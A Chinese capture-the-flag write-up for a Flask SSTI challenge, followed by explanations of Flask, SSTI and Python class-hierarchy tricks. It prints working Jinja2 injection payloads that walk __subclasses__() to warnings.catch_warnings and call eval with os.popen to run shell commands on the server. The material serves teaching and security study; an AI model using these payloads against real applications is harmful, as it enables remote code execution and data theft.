【Real】[Flask]SSTI

news2024/11/26 6:59:43

文章目录

  • 前言
  • 一、题目解读
  • 二、解题过程
  • 三、知识点
    • Flask是什么
    • SSTI是什么
    • SSTI是如何形成的
    • 易于利用的类
    • payload是什么
  • 探索类型和类层次结构和方法


前言

温馨提示:看到哪里不懂直接跳到知识点部分,理解完再回到解题过程。

一、题目解读

在这里插入图片描述

题目是[Flask]SSTI提示已经很清晰了。

在Flask上进行SSTI注入

二、解题过程

先简单逛一逛在这里插入图片描述
好朴素…

因为咱们已经知道用SSTI了,所以我们直接测试一下SSTL漏洞
输入{{6*6}},如果返回36,说明存在SSTI漏洞。

{{6*6}}

在这里插入图片描述

好了我们已经知道有这个漏洞了,下面咱们想想如何进行注入如何找到flag呢?
第一步肯定是信息搜集,利用__class____bases____subclasses__()在Python中进行类型和类层次结构的探索。

{{%27%27.__class__.__bases__[0].__subclasses__()}}

在这里插入图片描述

查看源码就可以看到我们查到的这些类

在这里插入图片描述

找到了一个关键类warnings.catch_warnings

在这里插入图片描述

下面我们确定一下他的位置直接用索引函数

{{ ''.__class__.__mro__[1].__subclasses__().index(warnings.catch_warnings) }}

在这里插入图片描述

出现500内部服务器错误说明直接使用索引函数的方式在模板引擎中可能不被支持。那咱们只能一点一点排查了。

先从100~200试一试

{{ ''.__class__.__mro__[1].__subclasses__()[100:200] }}

ctrl+f可以直接在网页中搜索warnings.catch_warnings

在这里插入图片描述

搜到了,说明范围在100~200.根据下面的进度条再次缩小范围。尝试150 ~ 170.

{{ ''.__class__.__mro__[1].__subclasses__()[150:170] }}

最终确定是166
在这里插入图片描述
接下来咱们构造payload

列出上一级目录文件看看有没有flag

{{''.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['eval']('__import__("os").popen("ls ../").read()')}}
''.__class__:

'' 是一个空字符串,其类是 str。所以 ''.__class__ 返回 <class 'str'>.__bases__:

str 类继承自 object 类,所以 ''.__class__.__bases__ 返回 ( <class 'object'>,).__subclasses__():

object 类的所有子类。 ''.__class__.__bases__[0].__subclasses__() 返回一个包含所有子类的列表。



[166]:

这是子类列表中的第167个子类(索引从0开始)。在这个例子中,这是 warnings.catch_warnings 类。



.__init__.__globals__:

获取 warnings.catch_warnings 的全局命名空间,它包含所有全局变量。



['eval']:

从全局命名空间中获取 eval 函数,用于执行字符串形式的Python代码。



'__import__("os").popen("ls ../").read()':

eval 执行的代码:使用 __import__ 导入 os 模块,调用 os.popen("ls ../") 执行 ls ../ 命令,并读取其输出。

在这里插入图片描述

好吧没有flag

var里面看看

在这里插入图片描述
没有…

看看home和root

在这里插入图片描述
在这里插入图片描述
打扰了…

去环境变量里碰碰运气

{{''.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__.__builtins__['eval']("__import__('os').popen('ls /').read()")}}
''.__class__:

'' 是一个空字符串,其类是 str。所以 ''.__class__ 返回 <class 'str'>.__bases__:

str 类继承自 object 类,所以 ''.__class__.__bases__ 返回 ( <class 'object'>,).__subclasses__():

object 类的所有子类。 ''.__class__.__bases__[0].__subclasses__() 返回一个包含所有子类的列表。



[166]:

这是子类列表中的第167个子类(索引从0开始)。在这个例子中,这是 warnings.catch_warnings 类。



.__init__.__globals__:

获取 warnings.catch_warnings 的全局命名空间,它包含所有全局变量。



.__builtins__['eval']:

从全局命名空间中获取 eval 函数,用于执行字符串形式的Python代码。



"__import__('os').popen('ls /').read()":

eval 执行的代码:使用 __import__ 导入 os 模块,调用 os.popen('ls /') 执行 ls / 命令,并读取其输出。

在这里插入图片描述

小小flag,拿下!

三、知识点

Flask是什么

Flask 是一个用 Python 编写的轻量级 Web 应用框架。它的设计理念是尽量保持简单和灵活,适合小型应用和微服务架构。Flask 提供了基本的功能,如路由、模板引擎和请求处理等,但没有强制性的项目结构或组件,开发者可以根据需要选择扩展功能。Flask 常用于快速开发和原型设计,因为它的学习曲线相对较低,且与其他 Python 库兼容性好。

SSTI是什么

SSTI(Server-Side Template Injection)是指在服务器端模板引擎中注入恶意代码的漏洞。模板引擎用于将模板与数据结合生成动态HTML内容。如果用户输入未正确过滤或转义,攻击者可以插入恶意代码,导致任意代码执行或敏感数据泄露。常见的受影响模板引擎包括Jinja2(Python)、Thymeleaf(Java)、Twig(PHP)等。通过SSTI,攻击者可以获取服务器权限,窃取数据或进行进一步的攻击。

SSTI是如何形成的

SSTI(服务器端模板注入)形成的原因主要是由于模板引擎在处理用户输入时没有正确地进行过滤和转义。这使得攻击者可以通过插入恶意模板代码来执行任意服务器端代码。典型的形成步骤包括:

  • 用户输入被直接嵌入模板中。
  • 模板引擎解析并执行输入的模板代码。
  • 如果输入未经过适当的安全处理,攻击者可以插入并执行任意代码。

易于利用的类

在Flask模板注入(SSTI)中,有一些Python类和对象是易于利用的,因为它们提供了对底层系统和环境的直接访问。

1. os 模块:可以用来执行系统命令。
2. subprocess 模块:可以创建子进程并执行系统命令。
4. builtins 模块:包含所有内置函数和异常,可以通过全局命名空间访问。
5. eval 和 exec:可以执行字符串形式的Python代码。
6. 文件读取:如 file 模块中的 read 方法,用于读取文件内容。
7. 命令执行:如 warnings.catch_warnings 和 socket._socketobject,可以通过导入 os 模块执行系统命令,包括 system、popen 和 listdir。
8. 闪现信息:如 get_flashed_messages(),用于获取闪现信息。

payload是什么

payload" 是指用于执行特定攻击的代码或数据。在服务器端模板注入(SSTI)中,payload 是嵌入到模板中的恶意代码,用于执行任意命令或读取敏感信息。

payload通过利用Python的内部机制,实现了任意代码执行和文件读取。

探索类型和类层次结构和方法

  • __class__:获取对象的类。例如,'hello'.__class__ 返回 <class 'str'>
  • __bases__:获取类的基类(超类)。例如,str.__bases__ 返回 ( <class 'object'>,),表示 str 类直接继承自 object 类。
  • __subclasses__():获取一个类的所有子类。例如,object.__subclasses__()
    返回所有直接或间接继承自 object 类的子类。

在Python中,__class____bases____subclasses__() 是探索类型和类层次结构的重要属性和方法,这些属性和方法可以用于动态地探索和操控Python的类型层次结构,特别是在安全研究和漏洞利用中。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1708994.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

winform安装时覆盖原版本并保留配置文件

如何打包参考大佬的博客添加链接描述 覆盖原版本 修改 Properties 下的 AssemblyInfo.cs 中的版本号&#xff0c;如下。原来是1.0.0.0&#xff0c;我修改成1.0.2。 选中 Setup 项目&#xff0c;修改 Version 属性修改 Version 属性后 ProductCode 也会改变&#xff0c;卸载程…

关于k8s集群的污点和容忍,以及k8s集群的故障排查思路

一 污点(Taint) 和 容忍(Tolerations) &#xff08;一&#xff09;污点 在Kubernetes&#xff08;K8s&#xff09;中&#xff0c;污点&#xff08;Taints&#xff09;是一个重要的概念&#xff0c;用于实现Pod的调度控制。以下是关于污点的详细解释&#xff1a;1.污点定义 污点…

SSL协议:网络安全通信的守护者

在网络通信迅猛发展的今天&#xff0c;数据安全和隐私保护变得尤为重要。安全套接层协议&#xff08;Secure Sockets Layer, SSL&#xff09;作为早期网络加密及身份验证的基石&#xff0c;为在线数据传输提供了安全保障。下面我们就来了解一下SSL协议。 SSL协议概述 SSL协议最…

package.json中peerDependencies的使用场景

文章目录 peerDependencies 的使用场景peerDependencies 的使用案例为什么使用 peerDependencies需要注意的事项主要作用 ✍创作者&#xff1a;全栈弄潮儿 &#x1f3e1; 个人主页&#xff1a; 全栈弄潮儿的个人主页 &#x1f3d9;️ 个人社区&#xff0c;欢迎你的加入&#xf…

(2020|ICML PMLR,线性 Transformer,核函数,RNN)Transformer 是 RNN

Transformers are RNNs: Fast Autoregressive Transformers with Linear Attention 公众号&#xff1a;EDPJ&#xff08;进 Q 交流群&#xff1a;922230617 或加 VX&#xff1a;CV_EDPJ 进 V 交流群&#xff09; 目录 0. 摘要 3. 线性 Transformers 3.1. Transformer 3.2.…

力扣62 不同路径 Java版本

文章目录 题目描述代码 题目描述 一个机器人位于一个 m x n 网格的左上角 &#xff08;起始点在下图中标记为 “Start” &#xff09;。 机器人每次只能向下或者向右移动一步。机器人试图达到网格的右下角&#xff08;在下图中标记为 “Finish” &#xff09;。 问总共有多少…

NLP技术发展和相关书籍分享

自然语言处理&#xff08;Natural Language Processing&#xff0c;NLP&#xff09;是计算机科学领域和人工智能领域的重要研究方向之一&#xff0c;旨在探索实现人与计算机之间用自然语言进行有效交流的理论与方法。它融合了语言学、计算机科学、机器学习、数学、认知心理学等…

场景文本检测识别学习 day10(MMdetection)

配置文件(config) 由于在大型项目中&#xff0c;一种模型需要分&#xff1a;tiny、small、big等很多种&#xff0c;而它们的区别主要在网络结构&#xff0c;数据的加载&#xff0c;训练策略等&#xff0c;且差别很多都很小&#xff0c;所以如果每个模型都手动从头写一份&#…

ssm150旅游网站的设计与实现+jsp

旅游网站设计与实现 摘 要 现代经济快节奏发展以及不断完善升级的信息化技术&#xff0c;让传统数据信息的管理升级为软件存储&#xff0c;归纳&#xff0c;集中处理数据信息的管理方式。本旅游网站就是在这样的大环境下诞生&#xff0c;其可以帮助管理者在短时间内处理完毕庞…

鸿蒙OS开发:【一次开发,多端部署】(音乐专辑主页)

一多音乐专辑主页 介绍 本示例展示了音乐专辑主页。 头部返回栏: 因元素单一、位置固定在顶部&#xff0c;因此适合采用自适应拉伸&#xff0c;充分利用顶部区域。专辑封面: 使用栅格组件控制占比&#xff0c;在小尺寸屏幕下封面图与歌单描述在同一行。歌曲列表: 使用栅格组…

汽车电子零部件(14):TMS热管理系统

前言: TMS(thermal management system)热管理系统,这是新能源汽车诞生后随之而产生的一种新汽车零部件,一旦热管理失控会触发自燃,这种现象也是对EV来说是件头疼的事。汽车的热管理系统(TMS)是一个关键部件,有助于调节汽车电池组、车厢和其他车辆系统的温度。TMS的主要…

假象和谎言

原创 | 刘教链 隔夜BTC&#xff08;比特币&#xff09;徘徊在69k一线。5.25教链内参报告&#xff0c;《BTC ETF持仓即将超越中本聪》。ETH ETF的尘嚣逐渐散去&#xff0c;复归于平静。戏刚唱了个开头&#xff0c;结尾还留着悬念。4000刀之于ETH看来是个关键阻力位&#xff0c;最…

JavaEE-Spring Controller(服务器控制以及Controller的实现和配置)

Spring Controller 服务器控制 响应架构 Spring Boot 内集成了 Tomcat 服务器&#xff0c;也可以外接 Tomcat 服务器。通过控制层接收浏览器的 URL 请求进行操作并返回数据。 底层和浏览器的信息交互仍旧由 servlet 完成&#xff0c;服务器整体架构如下&#xff1a; Server&…

[9] CUDA性能测量与错误处理

CUDA性能测量与错误处理 讨论如何通过CUDA事件来测量它的性能如何通过CUDA代码进行调试 1.测量CUDA程序的性能 1.1 CUDA事件 CPU端的计时器可能无法给出正确的内核执行时间CUDA事件等于是在你的CUDA应用运行的特定时刻被记录的时间戳&#xff0c;通过使用CUDA事件API&#…

第十四届蓝桥杯c++研究生组

A 关键思路是求每个十进制数的数字以及怎么在一个数组中让判断所有的数字次数相等。 求每个十进制的数字 while(n!0){int x n%10;//x获取了n的每一个位数字n/10;}扩展&#xff1a;求二进制的每位数字 &#xff08;注意&#xff1a;进制转换、1的个数、位运算&#xff09; x…

rk3568_semaphore

文章目录 前言1 什么是信号量1.1 信号量API函数2、信号量实验2.1 实验目的2.2函数源码2.3 运行结果图前言 本文记录rk3568开发板的信号量实验 1 什么是信号量 信号量是同步的一种方式,常常用于控制对共享资源的访问。 举个例子:停车场的停车位有100个,这100个停车位就是共…

js的学习

什么是JavaScript? JavaScript(简称:JS)是一门跨平台、面向对象的脚本语言。是用来控制网页行为的&#xff0c;”它能使网页可交互。 JavaScript 和Java 是完全不同的语言&#xff0c;不论是概念还是设计。但是基础语法类似。 JavaScript在1995 年由 Brendan Eich 发明&#x…

【OpenCV】图像通道合并与分离,ROI

介绍可以实现图像通道合并与分离的API&#xff0c;这只是一种方式&#xff0c;后续还会介绍其他的合并与分离方法&#xff0c;以及ROI区域截取的方法。相关API&#xff1a; split() merge() Mat对象() 代码&#xff1a; #include "iostream" #include "ope…

VUE3 学习笔记(6):data数据的监听、表单绑定、操作DOM

data数据的监听&#xff08;侦听&#xff09; 对于data的值的监听&#xff0c;可以用watch中与data中的参数命名一致的值做为函数进行获取监听变动前后的值再做逻辑判断&#xff0c;如下图所示。 示例代码 <template><div><p :class"classDemo">{…

【SQL学习进阶】从入门到高级应用(二)

文章目录 简单查询查一个字段查多个字段查所有字段查询时字段可参与数学运算查询时字段可起别名as关键字省略as关键字别名中有空格别名中有中文 &#x1f308;你好呀&#xff01;我是 山顶风景独好 &#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xf…